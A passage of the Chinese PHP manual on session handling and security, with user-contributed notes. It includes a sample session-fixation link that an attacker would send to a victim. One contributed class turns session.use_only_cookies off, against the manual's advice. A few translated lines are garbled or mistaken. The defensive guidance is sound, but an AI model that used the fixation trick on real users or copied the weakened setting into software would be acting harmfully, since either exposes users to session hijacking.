根据会话生命周期时间的设置，PHP 会不时地调用 gc 回调函数。 该函数会从持久化存储中删除超时的会话数据。 超时是指会话最后一次访问时间距离当前时间超过了 $lifetime 所指定的值。

User Contributed Notes

tony at marston-home dot demon dot co dot uk 06-Jun-2018 09:30
Your custom session handler should not contain calls to any of the session functions, such as session_name() or session_id(), as the relevant values are passed as arguments on various handler methods. Attempting to obtain values from alternative sources may not work as expected.


Session 上传进度

当 session.upload_progress.enabled INI 选项开启时，PHP 能够在每一个文件上传时监测上传进度。 这个信息对上传请求自身并没有什么帮助，但在文件上传时应用可以发送一个POST请求到终端（例如通过XHR）来检查这个状态

当一个上传在处理中，同时POST一个与INI中设置的session.upload_progress.name同名变量时，上传进度可以在$_SESSION中获得。 当PHP检测到这种POST请求时，它会在$_SESSION中添加一组数据, 索引是 session.upload_progress.prefix 与 session.upload_progress.name连接在一起的值。 通常这些键值可以通过读取INI设置来获得，例如

<?php
$key = ini_get("session.upload_progress.prefix") . ini_get("session.upload_progress.name");
var_dump($_SESSION[$key]);
?>

通过将$_SESSION[$key]["cancel_upload"]设置为true，还可以取消一个正在处理中的文件上传。 当在同一个请求中上传多个文件，它仅会取消当前正在处理的文件上传和未处理的文件上传，但是不会移除那些已经完成的上传。 当一个上传请求被这么取消时，$_FILES中的error将会被设置为 UPLOAD_ERR_EXTENSION。

session.upload_progress.freq 和 session.upload_progress.min_freq INI选项控制了上传进度信息应该多久被重新计算一次。 通过合理设置这两个选项的值，这个功能的开销几乎可以忽略不计。

Example #1 样例信息

一个上传进度数组的结构的例子

<form action="upload.php" method="POST" enctype="multipart/form-data">
 <input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="123" />
 <input type="file" name="file1" />
 <input type="file" name="file2" />
 <input type="submit" />
</form>

在session中存放的数据看上去是这样子的：

<?php
$_SESSION["upload_progress_123"] = array(
"start_time" => 1234567890, // The request time
"content_length" => 57343257, // POST content length
"bytes_processed" => 453489, // Amount of bytes received and processed
"done" => false, // true when the POST handler has finished, successfully or not
"files" => array(
0 => array(
"field_name" => "file1", // Name of the <input/> field
// The following 3 elements equals those in $_FILES
"name" => "foo.avi",
"tmp_name" => "/tmp/phpxxxxxx",
"error" => 0,
"done" => true, // True when the POST handler has finished handling this file
"start_time" => 1234567890, // When this file has started to be processed
"bytes_processed" => 57343250, // Amount of bytes received and processed for this file
),
// An other file, not finished uploading, in the same request
1 => array(
"field_name" => "file2",
"name" => "bar.avi",
"tmp_name" => NULL,
"error" => 0,
"done" => false,
"start_time" => 1234567899,
"bytes_processed" => 54554,
),
)
);

Warning

为了使这个正常工作，web服务器的请求缓冲区需要禁用，否则 PHP可能仅当文件完全上传完成时才能收到文件上传请求。 已知会缓冲这种大请求的程序有Nginx。

Caution

这个进度信息是在任意脚本被执行前写入session的，因此通过 ini_set()或session_name()修改session名将会导致一个没有上传进度信息的session。

User Contributed Notes

alice at librelamp dot com 20-Jul-2016 11:49
There were two gotchas that got me with implementing this.

The first - if you use session_name() to change the name of sessions, this will not work. I discovered this by looking at phpinfo() and seeing that is saw a different session name.

At least in Apache, a better way to set the session is in your apache config use

php_value session.name "your custom name"

It goes within the Directory directive, might work in .htaccess - I don't know.

-=-

Secondly - in apache, don't use mod_mpm_prefork.so

That was the problem I had, that's the default in CentOS 7.

The problem is it causes Apache to wait with any additional requests until the upload is finished.

Commenting that module out and using mod_mpm_worker.so instead fixed that problem, and the progress meter worked.
ricki at rocker dot com 28-Apr-2015 06:36
session.upload_progress updates completely ignore custom session handlers set via  session_set_save_handler()
howtomakeaturn 04-Apr-2015 07:18
ATTENTION:

Put the upload progress session name input field BEFORE your file field in the form :

  <form action="upload.php" method="POST" enctype="multipart/form-data">
  <input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="123" />
  <input type="file" name="file1" />
  <input type="file" name="file2" />
  <input type="submit" />
  </form>

If you make it after your file field, you'll waste a lot of time figuring why (just like me ...)

The following form will make you crazy and waste really a lot of time:

<form action="upload.php" method="POST" enctype="multipart/form-data">
 <input type="file" name="file1" />
 <input type="file" name="file2" />
 <input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="123" />
 <input type="submit" />
</form>

DON'T do this!
StrateGeyti 20-Oct-2014 10:07
It seems like if you send a form with the field like :

<?php echo '<input type="hidden" name="'.ini_get('session.upload_progress.name') .'" value="123" />';  ?>

without any field type "file", the server respons will be an 500 error.
wilsonr at st dot com 03-Oct-2014 07:22
If you have upload progress enabled in your php.ini, and you have

<form enctype="multipart/form-data" ...
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" ...

in your form, but you DON'T specify an input with 'type="file"', you may lose your session ID. I am using PHP 5.5 and I lose my session ID on the second loading of such a page. To prevent this, you can use a dummy input as follows:

<form enctype="multipart/form-data" ... >
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" ... />
    <input type="file"' name="dummy" style="display="none;" ... />
jortsc at gmail dot com 29-Sep-2013 06:47
Note that if you run that code and you print out the content of $_SESSSION[$key] you get an empty array due that session.upload_progress.cleanup is on by default and it  cleans the progress information as soon as all POST data has been read.

Set it to Off or 0 to see the content of $_SESSION[$key].
Anonymous 12-Jun-2013 03:34
While the example in the documentation is accurate, the description is a bit off. To clarify:

PHP will populate an array in the $_SESSION, where the index is a concatenated value of the session.upload_progress.prefix and the VALUE of the POSTed session.upload_progress.name variable.
Anonymous 02-May-2013 08:01
dont't forget, that the session has to be initialized before the form is generated, otherwise the mentioned example above won't work.
isius 03-Sep-2012 05:11
If you're seeing
"PHP Warning:  Unknown: The session id is too long or contains illegal characters, valid characters are a-z, A-Z, 0-9 and '-,' in Unknown on line 0",
then a misplaced input could be the cause. It's worth mentioning again that the hidden element MUST be before the file elements.
nihaopaul at gmail dot com 10-Aug-2012 06:12
it should be noted that the hidden element come before the file element otherwise you wont get any updates.
s.zarges 19-Jun-2012 09:32
Note, this feature doesn't work, when your webserver is runnig PHP via FastCGI. There will be no progress informations in the session array.
Unfortunately PHP gets the data only after the upload is completed and can't show any progress.

I hope this informations helps.
powtac at gmx dot de 02-Mar-2012 08:35
For PHP >= 5.2 there is http://pecl.php.net/package/uploadprogress


会话和安全

Table of Contents

  • 会话管理基础
  • 和会话安全相关的配置项

外部链接：» 会话固定

HTTP 会话管理是 web 应用安全的核心内容， 应采用尽可能的手段来确保会话安全。 开发人员应该合理的启用或使用可接受的设置。

User Contributed Notes

There are no user contributed notes for this page.


会话管理基础

会话安全

会话模块无法保证你存储在会话中的信息只能被创建会话的用户本人可见。 你需要采取额外的手段来保护会话中的机密信息， 至于采取何种方式来保护机密信息， 取决于你在会话中存储的数据的机密程度。

评估会话中存储的数据的重要性， 以及为此增加额外的保护机制， 通常需要付出一定的代价，同时会降低便利性。 例如，如果你需要保护用户免受社会工程学攻击， 你需要启用 session.use_only_cookies 选项。 这就要求用户在使用过程中，必须把浏览器设置为接受 cookie， 否则就无法正常使用会话功能了。

有很多种方式都可以导致会话 ID 被泄露给第三方。 例如，JavaScript 注入，URL 中包含会话 ID，数据包侦听， 或者直接访问你的物理设备等。 如果会话 ID 被泄漏给第三方， 那么他们就可以访问这个会话 ID 可以访问的全部资源。 首先，如果在 URL 中包含了会话 ID， 并且访问了外部的站点， 那么你的会话 ID 可能在外部站点的访问日志中被记录（referrer 请求头）。 另外，攻击者也可以监听你的网络通信，如果通信未加密， 那么会话 ID 将会在网络中以明文的形式进行传输。 针对这种情况的解决方案就是在服务端配置 SSL/TLS， 另外，使用 HSTS 可以达到更高的安全性。

Note: 即使使用 HTTPS 协议，也无法百分百保证机密数据不被泄漏。 例如，CRIME 和 BEAST 漏洞可以使得攻击者读取到你的数据。 另外，出于网络通信审计目的，很多网络中都存在 HTTPS MITM 代理， 可以读取 HTTPS 协议下的通信数据。 那么攻击者也可以搭建类似的代理服务器，用来窃取 HTTPS 协议下的通信数据。

非自适应会话管理

目前，默认情况下，PHP 是以自适应的方式来管理会话的， 这种方式使用起来很灵活，但是同样也带来了一定的风险。

新增加了一个配置项： session.use_strict_mode。 当启用这个配置项，并且你所用的会话存储处理器支持的话，未经初始化的会话 ID 会被拒绝， 并为其生成一个全新的会话，这可以避免攻击者使用一个已知的会话 ID 来进行攻击。 例如，攻击者可以通过邮件给受害者发送一个包含会话 ID 的链接： http://example.com/page.php?PHPSESSID=123456789。 如果启用了 session.use_trans_sid 配置项， 那么受害者将会使用攻击者所提供的会话 ID 开始一个新的会话。 如果启用了 session.use_strict_mode 选项，就可以降低风险。

Warning

用户自定义的会话存储器也可以通过实现会话 ID 验证来支持严格会话模式。 建议用户在实现自己的会话存储器的时候， 一定要对会话 ID 的合法性进行验证。

在浏览器一侧，可以为用来保存会话 ID 的 cookie 设置域，路径， 仅允许 HTTP 访问，必须使用 HTTPS 访问等安全属性。 如果使用的是 PHP 7.3. 版本，还可以对 cookie 设置 SameSite 属性。 攻击者可以利用浏览器的这些特性来设置永久可用的会话 ID。 仅仅设置 session.use_only_cookies 配置项 无法解决这个问题。而 session.use_strict_mode 配置项 可以降低这种风险。设置 session.use_strict_mode=On， 来拒绝未经初始化的会话 ID。

Note: 虽然使用 session.use_strict_mode 配置项 可以降低灵活会话管理方式所带来的风险， 攻击者还是通过利用 JavaScript 注入等手段， 强制用户使用由攻击者创建的并且经过了正常的初始化的会话 ID。 如何降低这种风向，可以参考本手册的建议部分。 如果你已经启用了 session.use_strict_mode 配置项， 同时使用基于时间戳的会话管理， 并且通过设置 session_regenerate_id() 配置项 来重新生成会话 ID， 那么，攻击者生成的会话 ID 就可以被删除掉了。 当发生对过期会话访问的时候， 你应该保存活跃会话的所有数据， 以备后续分析使用。 然后让用户退出当前的会话，并且重新登录。 防止攻击者继续使用"偷"来的会话。

Warning

对过期会话数据的访问并不总是意味着正在遭受攻击。 不稳定的网络状况，或者不正确的会话删除行为， 都会导致合法的用户产生访问过期会话数据的情况。

从 PHP 7.1.0 开始，增加了 session_create_id() 函数。 这个函数允许开发者在会话 ID 中增加用户 ID 作为前缀， 以确保用户访问到正确对应的会话数据。 要使用这个函数， 请确保启用了 session.use_strict_mode 配置项， 否则恶意用户可能会伪造其他用户的会话 ID。

Note: 对于 PHP 7.1.0 之前的用户，应该使用 CSPRNG（例如 /dev/urandom） 或者 random_bytes() 函数以及哈希函数 来产生新的会话 ID。 session_create_id() 函数本身包含碰撞检测的能力， 并且根据 INI 文件中和会话相关的配置项来生成会话 ID。 所以，建议使用 session_create_id() 函数来生成会话 ID。

重新生成会话 ID

虽然 session.use_strict_mode 配置项可以降低风险，但是还不够。为了确保会话安全，开发者还需要使用 session_regenerate_id() 函数。

会话 ID 重生机制可以有效的降低会话被窃取的风险， 所以，必须周期性的调用 session_regenerate_id() 函数 来重新生成会话 ID， 例如，对于机密内容，每隔 15 分钟就重新生成会话 ID。 这样一来，即使会话 ID 被窃取， 那么攻击者所得到的会话 ID 也会很快的过期， 如果他们进一步访问，就会产生对过期会话数据访问的错误。

当用户成功通过认证之后，必须为其重新生成会话 ID。 并且，必须在向 $_SESSION 中保存用户认证信息之前 调用 session_regenerate_id() 函数（ session_regenerate_id() 函数 会自动将重生之前的会话数据保存到新生成的会话）。 请确保只有新的会话包含用户认证信息。

开发者不可过分依赖 session.gc_maxlifetime 配置项。 因为攻击者可以在受害者的会话过期之前访问系统， 并且维持这个会话的活动，以保证这个会话不会过期。

实际上，你需要自己实现基于时间戳的会话数据管理机制。

Warning

虽然会话处理程序可以透明的管理时间戳，但是这个特性尚未完整的实现。 在 GC 发生之前，旧的会话数据还得保存， 同时，开发者还得保证过期的会话数据已经被移除。 但是，开发者又不能立即移除活跃会话中的数据。 所以，不要同时在活跃会话上调用 session_regenerate_id(true); 和 session_destroy() 函数。 这听起来有点儿自相矛盾，但是事实上必须得这么做。

默认情况下，session_regenerate_id() 函数 不会删除旧的会话， 所以即使重生了会话 ID，旧的会话可能还是可用的。 开发者需要使用时间戳等机制， 来确保旧的会话数据不会再次被访问。

Warning

删除活跃会话可能会带来非预期的一些影响。 例如，在网络状态不稳定，或者有并发请求到达 Web 服务器的情况下， 立即删除活跃会话可能导致个别请求会话失效的问题。

立即删除活跃会话也无法检测可能存在的恶意访问。

作为替代方案， 你要在 $_SESSION 中设置一个很短的过期时间， 然后根据这个时间戳来判断后续的访问是被允许的还是被禁止的。

在调用 session_regenerate_id() 函数之后， 不能立即禁止对旧的会话数据的访问，应该再一小段之间之后再禁止访问。 例如，在稳定的网络条件下，可以设置为几秒钟， 在不稳定的网络条件下，可以设置为几分钟。

如果用户访问了旧的会话数据（已经过期的）， 那么应该禁止访问。 建议从会话中移除这个用户的认证信息，因为这看起来像是在遭受攻击。

如果攻击者设置了不可删除的 cookie，那么使用 session.use_only_cookies 和 session_regenerate_id() 会导致正常用户遭受拒绝服务的问题。 如果发生这种情况，请让用户删除 cookie 并且警告用户他可能面临一些安全问题。 攻击者可以通过恶意的 Web 应用、浏览器插件以及对安全性较差的物理设备进行攻击 来伪造恶意的 cookie。

Warning

请勿误解这里的拒绝服务攻击风险所指的含义。 通常来讲，要保护会话 ID 的安全，session.use_strict_mode=On 是必须要做的。 建议所有的站点都启用 session.use_strict_mode。

只有当账号处于被攻击的时候，才会发生拒绝服务的问题。 通常都是由于应用中被注入了恶意的 JavaScript 才会导致这个问题。

会话中数据的删除

过期的会话中的数据应该是被删除的，并且不可访问。 现在的会话模块尚未很好的支持这种特性。

应该尽可能快的删除过期会话中的数据。 但是，活跃会话一定不要立即删除。 为了能够同时满足这两点要求， 你需要自己来实现基于时间戳的会话数据管理机制。

在 $_SESSION 中设置会话过期时间戳，并且对其进行管理， 以便能够阻止对于过期会话的访问。 当发生对于过期会话的访问时，建议从相关用户的所有会话中删除认证信息， 并且要求用户重新认证。 对于过期会话数据的访问可能是一种攻击行为， 为了保护会话数据，你需要追踪每个用户的活跃会话。

Note: 当用户处于不稳定的网络，或者 web 应用存在并发的请求的时候， 也可能发生对于过期会话数据的访问。 服务器尝试为用户设置新的会话 ID， 但是很可能由于网络原因，导致 Set-Cookie 的数据包无法到达用户的浏览器。 当通过 session_regenerate_id() 函数 为一个连接生成新的会话 ID 之后，其他的并发连接可能尚未得到这个新的会话 ID。 因此，不能立即阻止对于过期会话数据的访问，而是要延迟一个很小的时间段， 这就是为什么我们需要实现基于时间戳的会话管理。

简而言之，不要在调用 session_regenerate_id() 或者 session_destroy() 函数的时候立即删除旧的会话数据， 而是要通过一个时间戳来控制后续对于这个旧会话数据的访问。 从会话存储中删除数据的工作交给 session_gc() 函数来完成吧。

会话和锁定

默认情况下，为了保证会话数据在多个请求之间的一致性， 对于会话数据的访问是加锁进行的。

但是，这种锁定机制也会导致被攻击者利用，来进行对于用户的拒绝服务攻击。 为了降低这种风险，请在访问会话数据的时候，尽可能的缩短锁定的时间。 当某个请求不需要更新会话数据的时候，使用只读模式访问会话数据。 也就是说，在调用 session_start() 函数的时候， 使用 'read_and_close' 选项：session_start(['read_and_close'=>1]);。 另外，如果需要更新会话数据，那么在更新完毕之后， 马上调用 session_commit() 函数来释放对于会话数据的锁。

当会话不活跃的时候，当前的会话模块不会检测对于 $_SESSION 的修改。 你需要自己来保证 在会话处于不活跃状态的时候，不要去修改它。

活跃会话

开发者需要自己来追踪每个用户的活跃会话， 要知道每个用户创建了多少活跃会话，每个活跃会话来自那个 IP 地址， 活跃了多长时间等。 PHP 不会自动完成这项工作，需要开发者来完成。

有很多种方式可以做到追踪用户的活跃会话。 你可以通过在数据库中存储会话信息来跟踪用户会话。 由于会话是可以被垃圾收集器收集掉的， 所以你也需要处理被收集掉的会话数据， 以保证数据库中的数据和真实的活跃会话数据的一致性。

一种很简单的方式就是使用"使用用户 ID 作为会话 ID 前缀"，并且保存必要的信息到 $_SESSION 中。 大部分的数据库产品对于字符串前缀查询（译注：也即右模糊查询，可以利用索引）都有很好的性能表现。 为了实现这种方式，可以使用 session_regenerate_id() 和 session_create_id() 函数。

Warning

永远不要使用机密数据作为会话 ID 前缀！ 如果用户 ID 属于机密数据，那么可以考虑使用 hash_hmac() 函数对其进行摘要后再使用。

Warning

必须启用 session.use_strict_mode 配置项。 请确保已经启用， 否则活跃会话数据库可能会被入侵。

要能够检测对于过期会话数据的访问， 基于时间戳的会话数据管理机制是必不可少的。 当检测到对于过期会话数据的访问时，你应该从相关用户的活跃会话中删除认证信息， 避免攻击者持续使用盗取的会话。

会话和自动登录

开发者不应该通过使用长生命周期的会话 ID 来实现自动登录功能， 因为这种方式提高了会话被窃取的风险。 开发者应该自己实现自动登录的机制。

在使用 setcookie() 的时候，传入安全的一次性摘要结果作为自动登录信息。 建议使用比 SHA-2 更高强度的摘要算法（例如 SHA-256） 对 random_bytes() 随机生成的数据 （也可以读取 /dev/urandom 设备）进行摘要作为自动登录的信息。

在用户访问的时候，如果发现用户尚未认证， 那么就去检查请求中是否包含了有效的一次性登录信息。 如果包含有效的一次性登录信息，那么就去认证用户，并且重新生成新的一次性登录信息。 自动登录的关键信息一定是只能使用一次，永远不要重复使用一次性登录信息。

自动登录信息是长生命周期的认证信息， 所以必须要尽可能的妥善保护。 可以对于自动登录信息对应的 cookie 设置路径、仅允许 HTTP 访问、仅允许安全访问 等属性来加以保护，并且仅在必需的时候才传送这个 cookie。

开发者也要提供禁用自动登录的机制， 以及删除不再需要的自动登录数据的能力。

CSRF（跨站请求伪造）

会话和认证无法避免跨站请求伪造攻击。 开发者需要自己来实现保护应用不受 CSRF 攻击的功能。

output_add_rewrite_var() 函数可以用来 保护应用免受 CSRF 攻击。更多信息请参考文档。

Note: PHP 7.2.0 之前的版本，这个函数和会话 ID 使用了同样的输出缓冲以及 INI 设置项， 所以不建议在 PHP 7.2.0 之前使用 output_add_rewrite_var() 函数。

大部分 Web 应用框架都提供了 CSRF 保护的特性。 详细信息请参考你所用的 Web 框架的文档。

从 PHP 7.3 开始，对于会话 cookie 增加了 SameSite 属性， 这个属性可以有效的降低 CSRF 攻击的风险。

User Contributed Notes

There are no user contributed notes for this page.


和会话安全相关的配置项

通过使用 INI 文件中和会话安全相关的配置项，来提高会话的安全性。 有一些重要的配置项没有默认值， 所以你需要自行设置。

  • session.cookie_lifetime=0

    0 表示特殊含义，它告知浏览器不要持久化存储 cookie 数据。 也即，关闭浏览器的时候，会话 ID cookie 会被立即删除。 如果将此项设置为非 0 的值， 可能会导致会话 ID 被其他用户使用。 大部分应用应该把此项设置为 "0"。

    如果应用中有自动登录的功能， 请自行实现一种更加安全的方式， 而不要使用长生命周期的会话 ID 来完成自动登录。 至于如何实现安全的自动登录功能，请参考本文档前面的内容。

  • session.use_cookies=On

    session.use_only_cookies=On

    虽然 HTTP cookie 存在一些问题， 但是它确实是实现会话 ID 管理的优选方案。 尽可能的仅使用 cookie 来进行会话 ID 管理， 而且大部分应用也确实是只使用 cookie 来记录会话 ID 的。

    如果 session.use_only_cookies=Off， 会话模块会在基于 cookie 的会话 ID 初始化之前 使用 GET 或 POST 请求中的会话 ID（如果存在的话）。

  • session.use_strict_mode=On

    虽然启用 session.use_strict_mode 是必不可少的，但是默认情况下，这个配置项是未启用的。

    此设置防止会话模块使用未初始化的会话 ID。 也就是说， 会话模块仅接受由它自己创建的有效的会话 ID， 而拒绝由用户自己提供的会话 ID。

    由于 cookie 规范，攻击者可以通过本地设置 cookie 数据库或 JavaScript 注入放置不可删除的会话 ID cookie。 启用 session.use_strict_mode 配置项 可以阻止使用未经会话模块初始化的会话 ID。

    Note:

    攻击者可以使用自己的设备产生会话 ID，也可以使用受害者的会话 ID。 攻击者也可以通过一些后续操作保证会话活跃。 因此，启用 session.use_strict_mode 配置项 可以降低这种风险。

  • session.cookie_httponly=On

    禁止 JavaScript 访问会话 cookie。 此设置项可以保护 cookie 不被 JavaScript 窃取。

    虽然可以使用会话 ID 来作为防范跨站请求伪造（CSRF）的关键数据， 但是不建议你这么做。例如，攻击者可以把 HTML 源代码保存下来并且发送给其他用户。 为了安全起见，开发者不应该在 web 页面中显示会话 ID。 几乎所有的应用都应该对会话 ID cookie 设置 httponly 为 On。

    Note:

    类似会话 ID，CSRF 保护串号也应该定期的更新。

  • session.cookie_secure=On

    仅允许在 HTTPS 协议下访问会话 ID cookie。 如果你的 web 站点仅支持 HTTPS，那么必须将此配置项设置为 On。

    对于仅支持 HTTPS 的 web 站点建议考虑使用强制安全传输技术（HSTS）。

  • session.cookie_samesite="Lax" 或者 session.cookie_samesite="Strict"

    自 PHP 7.3 开始，可以为会话 cookie 设置 "SameSite" 属性。 这个属性可以有效的降低 CSRF 攻击的风险。

    Lax 和 Strict 之间的区别是， 对于来自其他站点的并且携带了会话 cookie 的 GET 请求的处理方式不同。 设置为 Lax 会允许来自其他站点并且携带了会话 cookie 的请求， 设置为 Strict 则不会允许这种请求访问本站的会话数据。

  • session.gc_maxlifetime=[选择一个尽可能小的时间段]

    session.gc_maxlifetime 来设置删除过期会话数据的时间周期。 来的删除， 你需要自己来实现一套基于时间戳的会话数据生命周期管理机制。

    最好使用 session_gc() 函数来进行会话数据垃圾收集。 如果你是 UNIX 的操作系统， 最好使用类似 cron 这样的定时任务来执行 session_gc() 函数。

    GC 的运行时机并不是精准的，带有一定的或然性， 所以这个设置项并不能确保 旧的会话数据被删除。某些会话存储处理模块不使用此设置项。 更多的信息请参考会话存储模块的完整文档。 虽然开发人员不能完全依赖这个设置，但是还是建议将其设置的尽可能的小。 调整 session.gc_probability 和 session.gc_divisor 配置项 可以使得过期的会话数据在适当的周期内被删除。 如果需要使用自动登录的功能， 请使用其他更加安全的方式自行实现， 而不要通过使用长生命周期的会话 ID 来实现。

    Note:

    如果会话存储器将会话数据存储到 memcached 或者 mecache 这种自带超时机制的存储中， 就不依赖这个配置项来进行过期会话数据的垃圾收集。 更多信息请参考对应的会话存储器文档。

  • session.use_trans_sid=Off

    如果你有需要，可以使用会话 ID 透传机制。 但是，禁用会话 ID 透传机制可以 避免会话 ID 被注入以及泄漏， 有效的提高会话安全性。

    Note:

    会话 ID 可能在浏览器书签或者保存下来的 HTML 源代码中被泄漏。

  • session.trans_sid_tags=[限制标签]

    （PHP 7.1.0 及以上）一般情况下，默认值就可以， 你无需重写不需要的标签。 之前版本的 PHP 请使用 url_rewriter.tags 配置项。

  • session.trans_sid_hosts=[限制的主机名]

    （PHP 7.1.0 及以上）这个配置项设定允许进行会话 ID 透传的主机白名单。 请勿在其中加入你不信任的主机。 如果此配置项为空， 则仅允许 $_SERVER['HTTP_HOST'] 的站点进行会话 ID 透传。

  • session.referer_check=[原始 URL]

    当启用 session.use_trans_sid 配置项的时候， 这个设置可以降低会话 ID 注入的风险。 如果你的站点是 http://example.com/， 那么就把此项设置为 http://example.com/。 需要注意的是，如果使用了 HTTPS 协议， 那么浏览器在发起请求的时候不会包含 referrer 请求头。 建议启用此配置项，虽然它并不是可靠的安全措施。

  • session.cache_limiter=nocache

    确保对于已经认证的会话，其 HTTP 内容不会被浏览器缓存。 应该仅针对公开内容允许缓存， 否则将会面临内容泄露的风险。 即使 HTTP 内容不包含敏感数据， 也可以把它设置为"private"。 注意，"private"可能会导致客户端缓存私有数据。 仅在 HTTP 内容中不包含任何私有数据的时候，可以使用"public"。

  • session.sid_length="48"

    （PHP 7.1.0 及更高版本）更长的会话 ID 可以得到更高的安全强度。 建议开发者将会话 ID 的长度设置为不低于 32 个字符。 当 session.sid_bits_per_character="5" 时， 会话 ID 至少需要 26 个字符。

  • session.sid_bits_per_character="6"

    （PHP 7.1.0 及更高版本） 即使会话 ID 的长度设定不变， 更高的会话 ID 比特位设置也会产生安全性更高的会话 ID。

  • session.hash_function="sha256"

    （PHP 7.1.0 及更高版本）高强度的哈希算法可以生成更高安全性的会话 ID。 虽然说，即使是采用 MD5 哈希算法，要想生成完全一致的哈希结果都是不太现实的， 但是还是建议开发者使用 SHA-2 或者更高强度的哈希算法。 比如，可以考虑使用 sha384 和 sha512 哈希算法。 请确保 entropy 配置项的设置可以满足你所用的哈希算法对种子长度要求。

  • session.save_path=[非全局可读目录]

    如果设置为类似 /tmp（默认选项）的全局可读目录， 该服务器上的其他用户可以通过获取目录中的文件，劫持 session。

User Contributed Notes

Derek Simkowiak 14-Dec-2018 04:04
Warning: Calling `ini_set('session.use_only_cookies', 1)` returns FALSE if `session_start()` has already been called.


Session 函数

Table of Contents

  • session_abort — Discard session array changes and finish session
  • session_cache_expire — 返回/设置当前缓存的到期时间
  • session_cache_limiter — 读取/设置缓存限制器
  • session_commit — session_write_close 的别名
  • session_create_id — Create new session id
  • session_decode — 解码会话数据
  • session_destroy — 销毁一个会话中的全部数据
  • session_encode — 将当前会话数据编码为字符串
  • session_gc — Perform session data garbage collection
  • session_get_cookie_params — 获取会话 cookie 参数
  • session_id — 获取/设置当前会话 ID
  • session_module_name — 获取/设置会话模块名称
  • session_name — 读取/设置会话名称
  • session_regenerate_id — 使用新生成的会话 ID 更新现有会话 ID
  • session_register_shutdown — 关闭会话
  • session_reset — Re-initialize session array with original values
  • session_save_path — 读取/设置当前会话的保存路径
  • session_set_cookie_params — 设置会话 cookie 参数
  • session_set_save_handler — 设置用户自定义会话存储函数
  • session_start — 启动新会话或者重用现有会话
  • session_status — 返回当前会话状态
  • session_unset — 释放所有的会话变量
  • session_write_close — Write session data and end session

User Contributed Notes

farhad dot pd at gmail dot com 17-Jun-2017 12:03
<?php
class Session
{

    public static $seesionFlashName = '__FlashBack';
    /**
     * [__construct description]
     */
    public function __construct() {

    }

    public static function start() {
        ini_set('session.use_only_cookies', 'Off');
        ini_set('session.use_cookies', 'On');
        ini_set('session.use_trans_sid', 'Off');
        ini_set('session.cookie_httponly', 'On');

        if (isset($_COOKIE[session_name()]) && !preg_match('/^[a-zA-Z0-9,\-]{22,52}$/', $_COOKIE[session_name()])) {
            exit('Error: Invalid session ID!');
        }

        session_set_cookie_params(0, '/');
        session_start();
    }

    public static function id() {
        return sha1(session_id());
    }

    public static function regenerate() {
        session_regenerate_id(true);
    }

    /**
     * [exists description]
     * @param  [type] $name [description]
     * @return [type]       [description]
     */
    public static function exists($name) {
        if(isset($name) && $name != '') {
            if(isset($_SESSION[$name])) {
                return true;
            }
        }

        return false;
    }

    /**
     * [set description]
     * @param [type] $name  [description]
     * @param [type] $value [description]
     */
    public static function set($name='', $value='') {
        if($name != '' && $value != '') {
            $_SESSION[$name] = $value;
        }
    }

    /**
     * [get description]
     * @param  [type] $name [description]
     * @return [type]       [description]
     */
    public static function get($name) {
        if(self::exists($name)) {
            return $_SESSION[$name];
        }

        return false;
    }

    /**
     * [delete description]
     * @param  [type] $name [description]
     * @return [type]       [description]
     */
    public static function delete($name) {
        if(self::exists($name)) {
            unset($_SESSION[$name]);
        }

        return false;
    }

    /**
     * [setFlash description]
     * @param string $value [description]
     */
    public static function setFlash($value='') {
        if($value != '') {
            self::set(self::$seesionFlashName, $value);
        }
    }

    /**
     * [getFlash description]
     * @return [type] [description]
     */
    public static function getFlash() {
        if(self::exists(self::$seesionFlashName)) {
            ob_start();
                echo self::get(self::$seesionFlashName);
                $content = ob_get_contents();
            ob_end_clean();

            self::delete(self::$seesionFlashName);

            return $content;
        }

        return false;
    }

    /**
     * [flashExists description]
     * @return [type] [description]
     */
    public static function flashExists() {
        return self::exists(self::$seesionFlashName);
    }

    /**
     * [destroy description]
     * @return void [description]
     */
    public static function destroy() {
        foreach($_SESSION as $sessionName) {
            self::delete($sessionName);
        }

        session_destroy();
    }
}
?>

iranian php programmer
farhad zand moghadam
Ray.Paseur sometimes uses Gmail 02-Nov-2016 02:19
PHP 5+ you cannot store StdClass and similar built-in objects in the session.  The class definitions do not exist in a way that allows PHP to serialize/unserialize the information.  This results in a fatal error; the entire contents of the session is lost.

<?php
error_reporting(E_ALL);
session_start();
var_dump($_SESSION); // INITIAL STATE
$_SESSION['hello'] = 'World';
var_dump($_SESSION); // MUTATED STATE

// AN XML STRING FOR TEST DATA
$xml = <<<EOD
<?xml version="1.0"?>
<families>
  <parent>
    <child index="1" value="Category 1">Child One</child>
  </parent>
</families>
EOD;

// STORE THE SimpleXMLElement OBJECT IN THE SESSION
$_SESSION['obj'] = SimpleXML_Load_String($xml);
Sam Yong - hellclanner at live dot com 27-Jul-2011 02:01
The following has been tested true in PHP 5.3.5.

Setting the session variables after the execution of the script i.e. in __destruct function, will not work.

<?php

class Example{

    function __destruct(){
        $_SESSION['test'] = true;
        session_write_close();
    }

}

?>

The above example will write nothing into the temporary session file, as I observed through a custom Session Save Handler.
jitchavan at gmail dot com 01-Apr-2011 06:43
IE issue :-

when form target set to iframe source and after posting form content you are setting session variables,
In this scenario if parent page having image src blank then session values set in iframe action page will be LOST surprisingly in IE ONLY.Solution is quite simple don't keep Image src blank.
ted at tedmurph dot com 07-Oct-2010 05:34
I was having problems with $_SESSION information not being written or being lost in a seemingly random way.  There was a Location: call being made deep in a Zend OAuth module, I am using an IIS server with PHP as a CGI, etc.

The answer was simply that you need to have the domain be consistent for sessions to work consistently.  In my case, I was switching back and forth between www.EXAMPLE.com:888 and EXAMPLE.com:888.  The unusual port, the hidden Location: call, the handoff with OAuth, etc all served to confuse me, but the intermitent error was caused by this simple goof of keeping the domain consistent.
hinom06 [at] hotmail.co.jp 29-Aug-2010 10:28
simple session test version 1.1

<?php
/* [EDIT by danbrown AT php DOT net:
   The author of this note named this
   file tmp.php in his/her tests. If
   you save it as a different name,
   simply update the links at the
   bottom to reflect the change.] */

error_reporting( E_ALL );
ini_set( 'display_errors', 1);
date_default_timezone_set('Asia/Tokyo');

//ini_set( 'session.save_path', '/tmp' ); // for debug purposes

session_start();

// check if session_id() exists.
/*
for example, if exists and session wont read, must send session.name as parameter in URL.

Some servers configurations may have problem to recognize PHPSESSID, even if transid value is 0 or 1.
